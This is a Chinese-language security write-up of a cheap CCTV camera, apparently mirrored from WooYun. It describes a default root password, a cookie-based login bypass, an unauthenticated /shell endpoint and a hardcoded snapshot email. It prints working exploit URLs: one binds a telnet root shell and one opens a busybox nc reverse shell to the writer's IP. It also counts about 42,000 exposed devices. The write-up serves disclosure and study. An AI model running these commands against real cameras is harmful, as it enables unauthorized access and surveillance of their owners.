某CCTV攝像頭漏洞分析

wyzsk發表於2020-08-19
作者: mickey · 2016/02/18 11:02

0x00 漏洞分析


今天看老外分析了一款廉價CCTV攝像頭的文章,地址在https://www.pentestpartners.com/blog/pwning-cctv-cameras/,攝像頭的amazon購買地址是http://www.amazon.co.uk/dp/B0162AQCO4,老外曝光的漏洞主要有四個,分別是預設密碼,web登陸認證繞過,內建的webshell,以及傳送攝像圖片到硬編碼的郵箱地址,老外的文章經過我的測試,有錯誤和不全的地方,我都一一補充在下面了 :)

1. 預設密碼

WEB預設登陸名是admin,密碼是空。

另外經過破解passwd,發現root的預設密碼是"juantech",可以透過telnet登入直接獲取cmdshell,如圖1:

enter image description here

2. WEB認證繞過

當你第一次訪問的時候,index.html會要求你輸入使用者名稱和密碼,輸入正確,則跳轉到view2.html。如果你直接訪問view2.html,會被重定向到index.html,要求你輸入帳戶資訊。下載韌體用binwalk解壓,如圖2:

enter image description here

檢視view2.js,發現以下內容:

#!js
$(document).ready(function(){
    dvr_camcnt = Cookies.get(“dvr_camcnt");
    dvr_usr = Cookies.get("dvr_usr");
    dvr_pwd = Cookies.get("dvr_pwd");
    if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
    {
        location.href = "/index.html";
    }

可以看到,如果dvr_camcnt,dvr_usr,dvr_pwd這3個值為空,就會跳轉到index.html,所以我們只要將dvr_camcnt,dvr_usr,dvr_pwd設定不為空就可以了,透過檢視view2.js原始碼可以知道,dvr_camcnt其實是控制頻道(chanel)的,如下:

#!js
function goto_open_all()
 80 {   
 81     if(dvr_viewer && dvr_viewer.ConnectRTMP)
 82     {
 83         dvr_viewer.SetPlayerNum(dvr_camcnt);
 84 //      switch(dvr_camcnt)
 85 //      {
 86 //      case "4":
 87 //          dvr_viewer.flSetViewDiv(4);
 88 //          break;
 89 //      case "8":
 90 //          dvr_viewer.flSetViewDiv(9);
 91 //          break;
 92 //      case "16":
 93 //          dvr_viewer.flSetViewDiv(16);
 94 //          break;
 95 //      case "24":
 96 //          dvr_viewer.flSetViewDiv(25);
 97 //          break;
 98 //      }
 99         open_all(dvr_camcnt);
100     }
101     else
102     {
103         dvr_viewer = $("#viewer")[0];
104         setTimeout(goto_open_all, 1000);
105     }
106 }   

原文說dvr_camcnt只能設定2,4,8,24這幾個值。實際測試,輸入其他值都可以的。繞過登陸認證的證明如圖3

enter image description here

3.內建的webshell

透過檢視解壓後的韌體目錄,我們發現dvr_app包含了web服務,使用strings檢視dvr_app二進位制,可以看到 /moo,/whoami,/shell,/snapshot 等字元,嘗試訪問,發現沒有任何驗證就可以訪問這些功能,如圖4,

enter image description here

訪問/shell的時候,卡住了,把dvr_app拖入ida,檢視shell功能相應的處理邏輯,因為是韌體是ARM小端的架構,可以直接在IDA裡F5看虛擬碼。如圖5

enter image description here

這裡利用有2個方式,一個是直接telnetd繫結/bin/sh到任意埠,然後telnet連線過去,不需要認證就可以telnet登入,這個利用方式在你不知道韌體本身TELNET的賬戶資訊的時候,是個很常見的利用方法。命令如下:

http://目標ip/shell?/usr/sbin/telnetd -l/bin/sh -p 25

但是實際測試還要考慮防火牆/NAT的問題,好多裝置僅僅對映80出來,你開通的其他埠,雖然裝置開啟了,但是你連線不上去。如圖6.

enter image description here

這時候你可以用nc反彈shell出來,估計是因為韌體版本不一樣,我測試的目標busybox裡是自帶nc的,所以透過執行

http://目標ip/shell?/bin/busybox nc 我的IP 53 -e /bin/sh

就可以獲取到反彈的cmdshell了,如圖7

enter image description here

文章說他的韌體的busybox沒有帶nc,所以他靜態編譯了一個busybox,然後透過wget下載到一個可寫的目錄,然後賦予busybox可執行許可權,最後執行nc命令。他已經提供了編譯好的busybox,可以透過http://212.111.43.161/busybox來下載。

4.傳送攝像圖片到硬編碼的郵箱地址

透過strings檢視dvr_app二進位制,還發現了另一處可疑的字串

.rodata:002260E0 0000005A C [email protected]&subject=Who are you?&content=%s&snapshot=yes&vin=0&size=320x180

[email protected]",找到了https://github.com/simonjiuan/ipc/blob/master/src/cgi_misc.c,透過原始碼可以看到

#!c
#define DEFAULT_USER_EMAIL "[email protected]"
#define DEFAULT_USER_PASSWORD "dvrhtml"
#define DEFAULT_SMTP_SERVER "mail.esee100.com"
#define DEAFULT_TARGE_EMAIL "[email protected]"

@hdmoore在twitter也提到這個中國郵箱,所以我略微的看了看。目前mail.esee100.com已經不解析了,但是esee100.com的CNMAE解析到了www.dvrskype.com。透過查詢www.dvrskype.com的域名資訊,[email protected],如圖8,注意這裡ORG是"廣州市九安光電技術有限公司",而github的上傳者也是九安光電技術的技術人員。透過圖9可以看到,他會把/whoami的返回資訊和CCTV攝像頭啟動時的拍攝[email protected],當然現在這個SMTP傳送伺服器已經不存在了,也有可能是當時開發留下的測試的功能。

0x01 全球統計


因為是執行的自定義的web伺服器,HTTP伺服器頭包含明顯的“JAWS/1.0”特徵,最近sans比較關注國內的漏洞掃描(https://isc.sans.edu/forums/diary/Scanning+for+Fortinet+ssh+backdoor/20635/),所以我就直接用shodan的結果了。如圖10

enter image description here

可以看到這款廉價的CCTV攝像頭對公網開放的全球大概有42545臺,最常用的埠是80/8080,用的最多的國家是土耳其,印度,越南。 :)

目前應該也有對這個CCTV攝像頭的自動化惡意利用了,透過檢視幾個,發現幾臺裝置的程式裡都包含

 1560 root       620 S    ./dropbear -p 15081 -r /tmp/dropbear/dropbear_rsa_ho

以及wget遠端下載惡意利用檔案。

0x02 漏洞防護


目前官方還沒有補丁韌體,建議不要對外開放80/23等管理埠。

0x03 感謝的人


感謝低調的張老師教我逆向知識,張老師的好和善是對我問的幼稚問題都耐心的回答,從來沒煩過。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章